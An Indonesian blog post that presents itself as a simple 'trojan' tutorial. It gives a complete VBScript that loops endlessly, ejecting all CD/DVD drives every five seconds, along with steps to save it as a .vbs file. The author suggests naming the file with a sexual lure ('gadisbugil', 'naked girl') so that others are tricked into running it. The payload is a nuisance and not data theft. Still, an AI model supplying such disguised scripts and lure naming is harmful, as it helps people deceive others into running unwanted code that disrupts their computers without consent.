Contoh Script TROJAN Sederhana Posted by Adikoto on 07.40 No comments

Script ini digunain untuk buka tutup DVD. Ini adalah hasil dari project VB alias visual basic. Ini merupakan salah satu jenis gangguan dari virus TROJAN,yaitu DVD buka tutup sendiri tanpa di komando. Dah ah...g usa banyak omong...ni tutornya nya...:

1.bikin new text document.
2.masukin script berikut;
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3.save dalam extensi .vbs
4.kasi aja nama "gadisbugil"...hahahaha...biar napsu nya pada naik buat buka nih script....
OK....met nyoba ya....